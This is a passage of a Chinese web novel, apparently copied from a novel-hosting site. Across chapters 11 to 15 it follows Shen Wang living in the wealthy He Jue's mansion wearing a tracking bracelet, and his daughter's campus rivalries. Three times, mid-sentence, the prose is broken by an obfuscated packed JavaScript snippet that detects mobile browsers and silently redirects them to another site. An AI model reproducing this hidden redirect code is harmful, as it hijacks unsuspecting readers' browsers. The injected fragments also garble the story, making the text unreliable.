“怎么了?谁惹我的兔子小姐生气了?”别说,兔子急了咬人是真的,但滋味痒痒的,还挺带劲儿。 沈妙妙顿时感觉从四周投来的目光更多、也更热闹了。 轻轻用手掌心推着萧诼的肩膀,萧诼喜欢穿些国外的潮牌,肩膀处的皮革装饰又酷又凉。 沈妙妙明显感觉自己的掌心居然一样冷冰冰的,毫无调情的热情。 “萧诼,我现在正在生气,你别闹我。” 萧诼自然偏要闹她,“还不是怪你生气也那么美。” 沈妙妙噗嗤笑了,“我说真的呢,你总在女生宿舍楼下等我,一天五趟,我觉得这样挺不好,尤其是现在光天化日,那么多爱慕你的人每次都用眼神剜我后背,我害怕她们半夜真的来找我报复。” 萧诼从来生在聚光底下,从来不在乎注视自己的目光数量,只在乎自己的需求和感受。 他摸了摸沈妙妙垂在耳畔的乌黑发丝,“没想到兔子小姐每天居然会被这种无所谓的事情困扰?” “老实讲,你是不是有一点小小的......”萧诼眯眼,“吃醋?” 老娘吃你个大头鬼的醋! 沈妙妙微微垂首,露出一点会令男人疯狂迷恋的小娇羞。 萧诼真的很喜欢沈妙妙,不知为什么原因,就是在所有涌过来的女孩子里,一眼对单纯漂亮的沈妙妙疯狂心动。 萧诼情不自禁地在对方雪白的额头间吻了一口,沈妙妙立刻用手把吻过的地方捂住,并作出一副全力防御的神情。 真是可爱极了。 萧诼舔舔嘴唇,宠溺笑说,“好好,我懂,等我们结婚了再做剩下的事情。” 沈妙妙用手又指了他一下,水杏的眼睛瞪得圆圆滴。 萧诼又领悟了,退开道,“好好,我先去游泳馆游两个小时,等天完全黑了,没有什么人嫉妒我的兔子小姐了,我再过来接你吃点宵夜。” 沈妙妙算是成功拿捏。 萧诼用手揉了揉她的发丝,在一众女生艳羡的长叹中,又潇洒地抽身离去。 沈妙妙矗立在原地,佯装痴情的小女生目送男朋友离去。 下一秒。 沈妙妙转过身时,脸上全无娇羞感,只有一脸的平静。 从随身的小包包里掏出一块手绢,狠狠地擦拭着额头被吻过的地方。 一脸不屑。 12. 第 12 章 跟自己防备的人生活在同一个空间,并不是一件轻松的事情。 沈望两手空空地来,全身连一件换洗衣物都没有,所以他刚搬进鹤公馆,先跟鹤爵请个假,说要去买点生活用品。 原本以为鹤爵不会同意的,再不然,一定会派两个彪悍的私人保镖跟他一起去,谨防人跑了。 谁知鹤爵耐心听完他的诉求,只淡淡问,“请假?你这个说辞倒挺有意思。” 沈望心说,还不是怪你总在奇怪的地方强势,我又不敢惹你。 鹤爵其实正在书房里办公,每天他都要以视屏会议的方式,跟欧美那几个区分部的执行总裁会面。 沈望是下意识摸进来问的,所以鹤爵直接暂停了视屏会议,并且将屏幕画面切断。 对面位于七个地区的总裁们纷纷陷入恐慌,不停打电话询问究竟是谁惹大BOSS生气了。 鹤爵的右手不知觉摸了摸位于右侧的抽屉,收回来问,“这些年你一直靠什么营生?” 沈望挠了挠翘起的发丝,“卖水产海鲜。” 鹤爵又问,“生意做得怎么样?” 突如其来的问题立刻叫沈望警觉,侧眼坐在办公桌的冷酷男人,决定说话要留三分真假,迷惑敌人。 沈望道,“就一般的大市场摊贩,养活自己一个人绰绰有余,就那种一人吃饱全家不愁的情况。” 鹤爵能看出他说这话的底气还挺骄傲的。 跟之前那个可可怜怜求关爱的小屁孩,真的完全不一样。 但也不是完全不一样。 例如,沈望自己并不知道,他的小动作越多,心思越凌乱,遮掩的话语总喜欢强调好几遍。 一切都被鹤爵尽收眼底。 鹤爵说,“那我可以理解为,你一直单身一人,也没有在这十几年里,找个.......” 鹤爵本来打算说找个更好的靠山,又觉得话题太过辛辣,所以调转话锋,成了,“你也没有找个伴儿?” 沈望一拍腿,“我怎么可能有伴儿呢?谁能看上一个臭卖鱼的,尤其还带着个拖油瓶。” 惊悚.jpg “我的意思是,我除了卖海鲜水产,还搭着卖酱油花生油,瓶瓶罐罐的之类的。” 沈望内心大骂我草——差点把女儿给供出来了!好险! 他做生意一直老实本分、诚信经营,大大咧咧也绝不偷奸耍滑,张口全是大实话,猛地叫他撒谎骗人还真是容易漏洞百出。 于是恼羞成怒道,“我只是来请个假而已,你怎么问东问西的?我同意你随便打听我的私人情况了吗?!” 鹤爵也不恼,笑了一下,“抱歉。” 又说,“我讲过,你是绝对自由的,我只是要你的身体......” 沈望被这个“身体”搞得很心烦,冲过去用手捂住他的嘴巴,若是在高中的时候,他敢贸然去捂住鹤爵的嘴巴,绝对是属于该死的举动。 “不要再说你只是需要我的身体了!” 沈望简直难以相信,他都是三十几岁的老大叔了,怎么还会因为对方的措辞不当,而脸红得要死呢? 鹤爵的眼睛很深邃灼黑,仿佛夜空之下的暗潮汹涌的海水,莫看海面风平气和,海底搅动着吞噬的漩涡。 还有,鹤爵的嘴唇也很烫,吻到哪里像是在四处点火的凶器。 尘封十几年的记忆,在无意识靠近的两具身体之间被引燃,书房内的温度陡然升高。 沈望像是回到青涩的18岁,手心烫得发起一股股酥麻,有点自知羞耻地抱歉说,“总之,不要再说身体这两个字。” 鹤爵说,“好。” 又说,“那我以后讲,我是需要你这个人。” 需要身体的刺激感>需要你这个人的刺激感。 沈望默许。 鹤爵趁他靠近,右手慢慢往下滑,蹭过沈望的腰肢,最终落在位于右侧的抽屉把手,拉开后从里面摸出来一个蓝丝绒方盒,单手打开盒盖摸出一个包金镶钻的手环。 沈望只是在一个呼吸之间,自己的手腕已经被鹤爵戴上了这枚手环。 对方的动作十分敏捷,仿佛模拟排练了十几万次,才能达到如此精准。 不过在沈望看来,这行为怎么tmd像警察给惯于逃跑的犯人铐上手铐的既视感! 鹤爵不等沈望问他,自己解释说,“这手环里安装了最先进的定位系统,即使你被沉到海底,我也能定位到你的精准坐标。” “啊?” 没错。 鹤爵道,“我们现在是合作关系,你是自由的,想去哪里都是你的自由,我不但不约束你,还给你支付相应的酬劳,依照你卖海鲜的纯利润的十倍计算。” 等等。 沈望感觉他在偷换主题,可是沈学渣并没有抓到证据,最主要是金钱有点打动人。 沈望说,“原来我帮你治病,不是免费的啊?” “那是自然。”鹤爵用手掌包裹住沈望的手镯,指尖有意无意磨蹭着雪白的肌肤,“你做什么都不是免费的。” 沈望问,“那这个手镯等你病好了,是能取下来的吧?” “嗯。”鹤爵承认,“除非现在谁把你的手砍掉,暂时你是取不下的。” “哦。”沈望看了看这手镯的款式,虽然纤细了一点,但还算合适,应该属于特别定制款。 有钱人的新鲜玩意就是多。 鹤爵拍拍他的腰侧,“我要开会了,你先出去吧。” 沈望说,“那我买完东西大概五点钟回来。” 鹤爵平淡地嗯了一声。 沈望也不便打扰他工作,蹑手蹑脚地溜掉了。 等书房的门被重新关了起来。 一刹那间。 鹤爵毫无性.欲的冷淡面孔瞬间变了颜色,双手紧紧捂住口鼻,不停地嗅闻掌心残存的香味。 沈望在这间屋子里待了七八分钟,从肢体间散发的味道并不浓郁。 可是他刚才摸了沈望的手腕,敏感里的香味是最浓郁的。 鹤爵17岁丧失嗅觉和味觉,不过那是因为一场意外所致,当时的病情还不算严重,所以沈望浑身最有味道的地方,他的印象里是依稀记得的。 嘴唇,脖颈,胸口,小腹,手腕,尤其是双腿之间的香味最为惊人,芬芳又迷乱。 鹤爵尝试着沉淀在属于这世间最为独特的香气之中,禁不住贪婪地嗅闻着掌心内的味道。 他的嗅觉味觉丧失症实在严重,严重到只能机械地呼吸,机械地吃饭。 然而香味的记忆却在与沈望重逢的一秒内,鲜明得要死! 他好像是能闻见沈望的味道的。 这个世界上,他只能闻见沈望一个人的味道。 鹤爵又闻了许久,直到香味渐渐三开,内心和腹部的躁动才缓缓降低了热度,恢复成正常的冷若冰霜、无欲无求。 沈望出了书房门,恰好与路过的赵管家相遇。 赵管家特别慈祥和蔼,不过在看见沈望的时候,立刻变了脸色,将沈望拉到一旁,小声警告说,“沈先生,千万不要靠近书房,连附近都不要来。” 用手指了指头顶,“这里安装了监控器,因为书房里全部是重要的商业机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344806|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密,所以少爷是最忌讳这个的,你要生活在这里,还是要多留心一点比较好。” 沈望恍然大悟,确实,他现在寄住在鹤爵家帮忙治病,确实要遵守鹤家的规矩。 小声询问,“那鹤爵有什么特别需要忌讳的事情吗?” “有的。”赵管家掏出手机,将一份专属于鹤爵的忌讳文件发给沈望。 “每一个在鹤公馆工作的员工都要熟记这里的每一条禁忌。” 沈望打开后,看了一眼,“总共1207条,这么多,真的能记下来吗?” “当然能了,”赵管家道,“我家少爷五岁就能说四国语言,八岁背下来整部《刑法》和《民法典》,才区区1207条而已,一般人都能背下来吧?好歹都是研究生,这点学习量应该不愁吧?” (⊙o⊙)… 沈望若不是知道所处的世界属于狗血小说,恐怕鹤爵这种人设,早应该拉去研究所解剖了吧? 沈望问,“咱们家工作的都是研究生?那扫地的,擦灰的,院子里修剪绿植的,全部都是?” “也不全是,”赵管家十分肯定,“我是从专业的管家学院精挑细选出来的,我有硕士证。” 沈望瞧着赵管家两鬓的花白头发,大张嘴点头说是。 赵管家一扫眼看见沈望手腕间明晃晃的金镯子,前十几年最流行金饰的时候,少爷就花三个亿定制这么一款,即使过了这样多年,还是如此时髦,一点也不过时。 沈望跟赵管家讲自己要去买点生活用品,赵管家奇怪道,“您的一切都已经安排好了,还需要特意出门吗?” 沈望跟着赵管家去看。 果不其然。 沈望的客房旁边就是衣帽间,里面早已经陈列着春夏秋冬四季的服饰,每一件衣服都面料考究,低调奢华。 那这样我就出不去了? 沈望说,“我是去买两条换洗内裤。” 赵管家拉开抽屉,里面盛放着各种颜色的内裤,起码有几百条。 “鹤家的公司经营范围很广,有自己的成衣公司,每年送过来的样品穿都穿不完,不过您放心,我全部都已经清洗干净,杀过菌了,每天穿一条两条,都是直抛的,不用再洗。” 沈望想说:那你家是不是还有袜子厂、牙刷厂、牙膏厂和洗衣液厂? “那我还能出门吗?” 赵管家笑道,“那是肯定的,只是可以问问您,需要购买什么吗?” 沈望说,“......指甲刀,我买个指甲刀......吧?” “原来是理容啊,”赵管家掏出手机,拨打一个电话,对里面吩咐道,“先生需要整理仪容。” 半小时后,沈望躺在密闭的桑拿仪器内,两只手和两只脚处各坐着四个人,每一个都在帮他修剪指甲,并且涂抹润甲油,包养指甲四周的娇嫩肌肤。 沈望努力努嘴。 赵管家立刻将他眼睛上覆盖的鱼子酱眼膜取下来,毕恭毕敬问道,“请您吩咐。” 沈望道,“为什么我要躺在桑拿仪器里?我好热。” 赵管家认真解释,“这是少爷特别吩咐的,他说您的体香现在被他买断了,最好不要让其他人闻到,而且桑拿仪器可以净化您的肌肤,使体香保持最纯粹干净的味道。” 言毕,赵管家给沈望的嘴里递了一根吸管,“这是保加利亚可食用玫瑰花纯露,家里还购置了黑岩矿泉水,以后您就不要再喝普通的空泉水了,自来水更是不要喝。” 沈望:“......” 沈望:“可是我还想出个门......我今天能出门吗?” 13. 第 13 章 沈望清理完身体细节,虽然在广城每天晚上都冲澡,但是有钱人的生活方式确实与众不同,连身体最微小的方面都能得到悉心照料。 赵管家随后给他递上了一身清透的睡衣,耐心叮嘱说,“少爷早已经讲过,沈先生您有办法帮助他恢复嗅觉与味觉功能,所以还请您尽量多的在家里多转悠几圈,让少爷无论走到哪一个房间,都能在第一时间闻到您的体香。” 赵管家毕业于世界著名的精英管家学院,硕士学位,虽然谈不上学富五车,也算个中翘楚,生活阅历和年龄呈正比递增。 原本他以为少爷只是找个托词,在家里饲养一只小宠物的呢。 多年的铁树开花了,而且还玩得这么花,赵管家带着半分老父亲的心理,诚心祝愿自家小少爷在迈入成年之后,第一次的放飞自我。 谁料想,沈望真的是一个香喷喷的男人。 若不是赵管家今年也五十多岁了,又是意志比钢铁坚定的老直男,肯定也是经受不住这样迷人的体香诱惑的。 好吧好吧,量子力学,医学奇迹! 在沈望听来,这句话的意思是说——他就像是一台全自动人肉香薰机一样。 好吧,这样也很轻松。 只是...... 沈望穿上这清凉感十足的睡衣,单薄的一层薄如纱衣,凉快倒是挺凉快的,不过透也真的是透,仿佛为了让他的汗水香味能刚好从里面渗透出来,而给他的身体覆盖了一层单薄的云雾,仙气飘飘。 沈望小声嘀咕,“这是什么鬼,连我的柰子颜色差不多都能猜出来,还不如穿老子的大裤衩子和二股经背心子舒服呢。” 赵管家平常日理万机,说完话就走了,没有多余的时间陪他唠嗑,包括鹤爵工作上的事情也很多,书房的门一直紧紧闭着,不像是有功夫来骚扰他的意思。 沈望乐得自由自在,在鹤公馆的五层大别墅内来回游荡,最后人都走累了,总算看清楚有钱人家的大房子里究竟是什么样子。 别墅的最顶层是一整个植物园,在屋顶做了极好的防水层,在上面种植了不少瓜果蔬菜,还有绿意盎然的树丛花圃。 管理顶层的人像是知道沈望的存在,并不主动来攀谈,而是保持着距离与他点头打招呼。 鹤爵一日三餐内必须吃最新鲜的有机蔬菜,市场上卖的那些农药残留超标,倒不如聘请植物方面的研究生来管理。 沈望随手摘了一串紫黑色的小番茄,也不用水洗,手掌里擦了几下就塞进嘴里,饱满的小番茄在口腔内爆裂开来的瞬间,酸甜可口的充沛果汁立刻占领口腔,美味极了。 沈望自己平常忙于生意,家里荒芜的地也是随便种了点香菜,所以对伺弄菜园的人格外亲切。 绕过果树园便是顶楼花园,炎热的酷夏在这里仿佛销声匿迹,只能感觉到无尽的凉爽和惬意。 沈望难得不用忙于生计,浮生偷得半日闲的道理还是懂的,找了一处树荫最舒服的地方,大咧咧躺在长凳子间,闭眼睡觉。 十八年前的回忆对于沈望来讲,更像是一块不能随便碰触,又结满了厚厚一层血痂的伤疤。 鹤爵便是那用刀子切开厚痂,使得猩红腻白的东西暴露在目光之下的大夫。 沈望梦见自己被殴打了。 无论他怎么奋力反抗,总还是被三个男生狠狠摁在厕所的地面,用脚踢、用手扇巴掌。 还有一个用点燃的烟头在他失焦的眼前晃动,询问他要不要在脸上烫出一个好看的洞来。 前段梦境的压抑程度堪称毁灭级别的,恐怕连沈望这辈子都不想再回忆一丝半点的程度。 “沈望!你怎么又浑身脏兮兮地来上学!你每天能不能稍微注意一下个人卫生,少给班级里扣一点分!既然你根本没有心思上学,干脆趁早休学算了!”班主任犀利且充满嫌恶的声音在耳畔回响。 同学们嘻嘻地笑着,对他的狼狈不堪当作笑话。 沈望颤抖着站在班级门口,被嫌弃地拒绝在外面,宛若冰火两种世界在他身前身后交织,外面的是足够将骨头烧碎的火焰,里面是绝对不容许混进来的冰冷。 或许我应该听老师的,早一点辍学,这样也不必浪费时间去翻垃圾桶,捡瓶子凑学费了。 沈望低垂着头看脚底破破烂烂的塑料拖鞋。 一件干净的校服从后面丢了过来,正好遮盖住沈望发红到滴血的耳垂和脖颈,在他被阳光曝晒的残酷之下,获得了一丝短暂的清凉。 接着是鹤爵清冷的声线响起,带着少年人特有的傲慢不羁,还有几分特权者的高高在上。 “老师,你看不出他是被人欺负了吗?”鹤爵并不是这个班级的人,对于高中来讲,学习越优秀的人越集中在A班,像沈望一样混日子等毕业证的学渣,只能灰溜溜地窝在最后一个班级。 “这种眼神,配当什么老师。”鹤爵走得很慢,应该是刚去哪里抽了烟回来,顺便当着面吐槽了一下,风轻云淡地又走了过去。 被鹤爵批评的老师怒不可遏,脸色涨得比沈望还红,几乎是忍住咆哮,嘶声力竭道,“还不滚回来坐下!一堂课都被你耽误干净了!” 老师自然不敢顶撞鹤爵,就如他明明发现了沈望每天被坏学生霸凌,依旧选择不闻不问。 在老师眼底,像沈望这样的才更像是虫子,若是他不够糟糕,怎么会被人针对呢? 每个人对他人的评价标准都定在至高无上的位置。 沈望回想起给自己解围的男生是谁,于是抱着对方的校服外套,到鹤爵会出现的所有地方找了个遍。 最后在校园雕塑墙的阴影下,找到了看漫画书的鹤爵。 鹤爵除了行为乖张这一点,余下时候都很沉默,不像是学校里其他的富二代,总喜欢被人众星拱月。 雕塑墙一角一般没什么会过来,鹤爵坐在这里既可以遮挡麻烦的视线,又不用应付各种花痴的追求。 沈望把怀里的干净校服伸手递给他,礼貌地小声说,“谢谢。” 鹤爵看了五分钟漫画剧情,才发现面前居然站着个畏畏缩缩的小人儿,冷不丁瞥一眼道,“你洗手了吗?就给人还东西。” 沈望抬起自己两根拇指,啊得叫了一声,他站在阳光地里不停地出汗,以至于湿润的手指摁在清洁的校服间,活生生地摁出来两个小爪爪印。 “我给你洗干净再送来!” 鹤爵起身,用漫画书拍了拍根本不存在的灰尘,不屑一顾道,“别人碰过的东西都脏,我不需要。” 鹤爵的腿很长,缓慢地走在前面,沈望小碎步跟在后面,结结巴巴、吭吭哧哧、面红耳赤、大汗淋漓,屡次尝试从嘴里挤出一句好听的话。 “主人,你不要不要我,我很听话的。” 鹤爵居然被这种小野狗儿似地纠缠逗笑了,转身认真打量起沈望。 沈望的眼睛湿漉漉,快要哭了似的。 他穿得很厚,即使是在最炎热的夏天也必须套两层秋衣,人又瘦又黄像一根营养不良的豆芽菜。 跟之前看见的白花花的肉屁股,完全属于两种生物体。 可能是为了掩盖浑身的伤痕。 鹤爵大抵是过腻了无聊的校园生活,家里从小并不允许他豢养任何带毛的宠物,出于什么心理也不得而知。 只是忽然觉得,养一条快被人欺负死、奄奄一息的小动物,对他来讲,不过举手之劳而已。 鹤爵道,“不要叫我主人。” 沈望知道这是在对他判刑了,眼底尚未成型的火苗彻底熄灭。 这个人! 这个人是唯一能救他的人! 鹤爵道,“以后有人再欺负你,报我的名讳。” “我叫鹤爵。” ...... 沈望的嘴唇被粗糙的指尖揉了揉,像是对他怀着不满的情绪,用了些力气掐了掐他的唇珠。 沈望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344807|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了疼,喃喃呢呢着,“鹤爵。” 鹤爵的手顿了一下,眼底翻涌的情愫原本是怨恨又凶狠的,在对方酥软地呼唤中不停地沉降、沉降、凝固成浓到化不开的温柔。 鹤爵摸了一把沈望湿润的额头,朝缓缓睁开眼的人道,“做噩梦了?” 沈望睡得迷迷瞪瞪的,睁开眼便看见某人的脸孔,俊美而透明,被叶缝间遗漏的光斑勾勒,一双沉黑的眼眸波光粼粼。 沈望说,“是个好梦。” 鹤爵笑了下,“我工作太久上来透个气,感觉你像是魇住了。” 伸出手将沈望扶了起来,“你还以为自己是18岁吗?睡在这种阴凉下很容易邪风侵体。” 沈望软软地依靠着鹤爵的胸膛,虽然苏醒的潜意识说不要太依靠这个男人,然而梦境里的余韵叫他茫然迷惑。 仿佛自己还是最初那个捡垃圾为生的小可怜,他也从未认真思考过,自己会如此地期望着远离鹤爵。 气氛忽然陷入一种难以解释的混沌之中。 赵管家遣人来请鹤爵下楼一趟。 鹤爵留下沈望,头也不回地走了,抽刀断水的速度极快,正如成年后的他始终给人的感觉——冷若冰霜的工作机器。 沈望等昏睡的恍惚感逐渐消失,才深深胳膊腿,自嘲也是上岁数了,睡硬板凳果真是不行的。 下一楼有室内电梯。 电梯门开的刹那,便是年轻女孩子细弱伤心的哭泣声。 沈望不知怎么,心脏狠狠揪扯了一把,强烈的窒息感迎面扑来,似乎有什么隐藏的不快掐住他的咽喉。 结果看见是鹤若妍正在朝鹤爵小声地哭诉着委屈。 好了,没事了。 鹤若妍是来跟鹤爵道歉的,说自己不应该任性,非要叫小叔叔去京大见校董,还说鹤三少给她和她妈妈骂了个狗血喷头,责怪鹤爵是大忙人,非必要不要来打扰他。 沈望准备悄咪咪原路返回,他在顶楼午睡时,出了不少的汗,香味被树丛和花圃遮掩。 然而一楼的空间相对密闭,体香完全无处遁形,立刻被一旁谈话的鹤若妍与鹤爵发现。 鹤若妍是打死都认得这张脸的! 实在是太过漂亮了。 漂亮到可恨! 鹤爵已经走到沈望身前,阻挡着侄女惊讶的目光,骤然冷酷道,“回家去吧,我这里有些忙。” 而后拉住沈望的手腕,带着人走进室内电梯。 这......!! 鹤若妍原本是打算用眼泪攻势来求小叔叔原谅的。 哪知道,居然在小叔叔家看见了沈妙妙的爸爸!! 先不讲小叔叔从不将外人往自己家里带,只说沈妙妙的爸爸!!居然穿着睡衣在小叔叔家里出现!!而且小叔叔还主动拉人家的手! 啊啊啊啊!! 真是离谱他妈给离谱开门了! 鹤若妍越想越不对劲儿,尤其是沈妙妙她爸当着好姐们,拿出那张没有写数字的支票打她的脸! 支票上正是小叔叔的亲笔签名啊! 鹤若妍回想着爸爸提过一次小叔叔鹤爵的事情,说小叔叔被自己最信赖的人给欺骗,对方跑了个无影无踪,所以断情绝爱,这辈子都断了结婚的念头。 那沈妙妙的爸爸又是怎么回事呢?!! 鹤若妍眼角的泪光还没有完全消散,嘴角已经扯起一抹轻蔑的笑意。 不管不顾从黑名单中翻出沈妙妙的电话号码,拨通对方的电话。 沈妙妙因为正式评选为五所京城大学联合运动会的主持人,邀请宿舍里的其他三个女生一起唱K。 对于鹤若妍的电话,沈妙妙是完全不想接听的。 思索再三,还是听听对方的狗嘴里能吐出什么象牙来。 只听鹤若妍阴阳怪气地对她讲。 “沈妙妙,我当你是怎么拿到主持人名额的,原来是靠你爸爸卖.身的关系呀!” 14. 第 14 章 果然狗嘴里是永远吐不出象牙的。 沈妙妙道,“鹤若妍,喜欢一个人是没有错的,但你不能总喜欢是非不分、没完没了。” “你以为总在我这里找点存在感,我就会因为你的幼稚挑衅放弃萧诼?那我岂不是跟你一样没用?” “或许,你可以试试朝萧诼下手,假如你真能撬得动他的话,那我也没必要守着一个渣男自讨没趣。” “你你你......”鹤若妍原本在小叔叔家里瞅到的视觉暴击已经够叫她难以接受了,没想到现在还要接受死对头的冷嘲热讽?! 沈家这父女俩天生是来给她添堵的吗?! 鹤若妍激气得像一颗即将爆炸的气球。 沈妙妙则不紧不慢说,“鹤若妍,你知道为什么我会评选为校运会的主持人吗?” “肯定不是因为我爸爸的缘故,那绝对是因为你每次分明讲不过我,还偏偏要来找菜了。” 沈妙妙混大广福菜市场十几年,用精灵般的美貌骗得所有人团团转,暗中替沈望摆平骚扰和烦恼的时候,恐怕鹤家大小姐还在城堡里玩芭比娃娃呢。 听到鹤若妍那边已经开始倒抽气了。 沈妙妙果断挂掉电话。 以夏璇为首的宿舍姐妹天团三人组纷纷鼓掌,声称沈校花的每一句话,都足以记录在《智斗白莲绿茶指南》内。 沈妙妙咧开嘴笑笑,“你们以为我每天跟鹤若妍对招很开心吗?” 想了想,又将电话回拨了回去,对里面趾高气扬的鹤若妍问,“你在哪里看见我爸爸了,确定没认错人?” 鹤若妍发出刺耳的尖叫。 沈妙妙再次关掉手机,陷入短暂的沉默。 看来对方说得是真的,有一定的可信度。 夏璇平常跟沈妙妙玩得最多,也是宿舍里关系最好的,两人几乎能对彼此的表情中猜到发生了事情。 夏璇瞧出沈妙妙的情绪明显不对劲,不由避开另外两个舍友,在洗手间解手的空档,偷偷问了沈妙妙。 沈妙妙甜甜笑着说,“放心吧,没什么事情发生。” 夏璇不由宽慰她,“你马上要开始进行主持人的培训,这是多少人梦寐以求的关键期,你千万不要上了鹤若妍的当,影响心态最影响正常发挥了。” 看到好姐妹的担忧,沈妙妙反而成熟道,“放心吧,我对这次的主持人培训做了很久的准备,不会轻易被谁影响到的。” 等回头,她立刻给沈望打了个电话,而且用的是视频电话。 沈望正在鹤公馆里闲来无事,被女儿突然的电话惊得原地炸毛似的跳了起来,尤其还是视频通话。 环视一周,鹤公馆的装修低调奢华,跟他自己住的那间破烂漏风瓦片房全然不属于一个档次。 沈望又不愿意女儿等太久,将心一横,直接钻进了旁边的衣橱内,里面全部摆放着棉被枕头,躺在里面倒是松松软软的。 父女俩的视频已接通。 沈妙妙立刻蹙眉发出质疑,“爸爸,你那边是什么情况,怎么乌漆嘛黑的,你再干什么呢?” 沈望平躺在松软的被子间,假装正在睡觉,嘴里糊里糊涂道,“谁啊.......哦,是妙妙啊,怎么了?爸爸今天卖了一天的海产鱼鲜,有点累了所以睡得早。” 沈妙妙确实看不清沈望的脸,这让她的好奇心被顺利激起,甜甜笑道,“是这样子啊,真的好可惜。” “怎么可惜呢?” “我今天特别想跟爸爸分享一个好消息,所以爸爸能不能把灯打开?” 什么!! 沈望猛地一个机灵从棉被间翻了起身,还失误撞了额头,大叫,“你不是怀孕了吧?!” 沈妙妙:“......” 沈望:一定是这样子,萧诼这个混蛋王八羔子,老子有朝一日一定要橇掉他的蛋蛋!! 沈妙妙娇嗔:“爸爸,你整天在胡思乱想什么啊,我怎么可能会未婚先孕?” 你就是会未婚先孕啊! 小说里明明白白安排的呀! 沈望忽然坐不住了,一门心思地懊丧起来,原本跑到京城就是为了阻止女儿跟龙傲天男主谈恋爱的,若不是鹤爵突然跑出来,搞得他心烦意乱,怎么会把女儿丢在危险度极高的男主身边? 沈妙妙猜着沈望绝对是睡晕头了,不然怎么可能会讲这种荒唐话,避开男朋友的话题不讲,气鼓鼓道,“爸爸,你真是太小瞧我了,我是那种能随随便便就跟谁发生关系的幼稚小女孩儿吗?” 倒是你,沈妙妙的烦恼只能藏进肚子里,你有没有像鹤若妍讲的那样,偷偷摸摸去卖.身啊? 父女两人各怀心事,话题很难再谈拢,沈妙妙率先做出妥协,哄沈望说,“爸爸你其实根本不用担心我,可不是随便谁都能欺负我的,倒是你要乖乖听话,每天按时按点吃饭,等我暑假回家,要突击检查你哦。” 沈望最禁受不住女儿撒娇了,笑得像一朵花道,“好好,我一定多多挣钱,等乖女回家,爸爸给你买漂亮的花裙子穿。” 父女两人关电话的下一秒,橱柜的木质大门被猛然拉开。 露出鹤爵一张阴沉僵硬的面孔,不过在看见沈望乖乖躺在里面的瞬间,又重新恢复成平静的模样。 “你怎么躲在这里,难道不热吗?” 沈望总感觉他这句话里,应该还有后半句话,例如我找你半天,不过沈望从来不是一个自作多情的人,摇摇头甩掉多余的念头。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344808|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着,幸亏妙妙把电话压掉了,不然让鹤爵看见,可不好解释。 沈望有点心虚地说,“你不是要用我的体香治病吗?我试试在密闭的空间里,能不能多出一点汗。” 听着倒是挺乖的,可惜鹤爵的视力极佳,早已经敏锐地捕捉到,某人正悄无声息地将手机藏起来。 “是吗?” 不知沈望是不是在衣橱里闷太久,总感觉鹤爵的微笑过于程式化。 下一秒。 鹤爵也顺势钻了进来,他的身量高大,体裁健硕,完全压在身上的时候,沈望只能像一只小鸡一般被男人压住。 这叫沈望立刻回忆起某些不堪回想的画面。 “不要关门,让我能看见一点光。”沈望低声地哀求了一句。 鹤爵明显感觉沈望的状态不对,浑身大量地冒出冷汗,以至于橱柜内的香味如同决堤的洪水,连鹤爵也能冥冥中嗅见诱人的香气,而且浓度超标。 鹤爵摸了摸沈望发颤的面孔,软了丝态度问,“害怕我?” 沈望连胸膛呼吸的频率,也极力控制在微微起伏。 无声摇头。 可这明显是在害怕他。 鹤爵开始反思自己做了什么不合体面的事情,能把一个正常的成年男性,惊得像一只惶恐不安的小动物。 还有最开始,俩人相逢的那一次,沈望也明显在害怕他。 原本鹤爵觉得他是理亏,不敢直视自己的脸。 现在回想。 大概只有一个可能。 那就是十八年前,他俩都成年那天一起度过的三天三夜。 鹤爵永远记得那天学校庆祝所有学生顺利毕业,而举办了毕业舞会,他和沈望在舞会的角落里,跳了一曲并不成功的华尔兹。 沈望笨拙地踩脏了他的皮鞋,连声说了十几遍的抱歉。 鹤爵从沈望手里接过了果酒,那杯酒的滋味很上头,令人饮完后浑身像投入火海一般滚烫。 沈望那天晚上特别香,笑得也很甜蜜,令他的心软得一塌糊涂,但身体的某处却坚硬似铁。 然后,他和沈望一起度过了难忘的三天三夜。 等他从一片狼藉和液体中醒来,沈望已经跑得无影无踪,这辈子都以为找不到这个人了。 鹤爵在短短的几秒钟内思索了很多的细节。 现在唯一能解释的通的就是。 沈望被他吓到了。 肯定是被什么吓到了。 鹤爵思考成千上万种可能,只有一种。 鹤爵心底叹了口气,用手掌心不停地抚摸沈望流汗的脖颈和面颊,借以用安抚的动作令对方平静。 我肯定是活儿不好还量大,给人吓得有心理阴影了。 15.第 15 章 我只是想让你抱着我。 鹤爵改了口道,“你不用做多余的担心,每天只要见面,你抱我一阵即可。” 主语不同,表达的意思也不同。 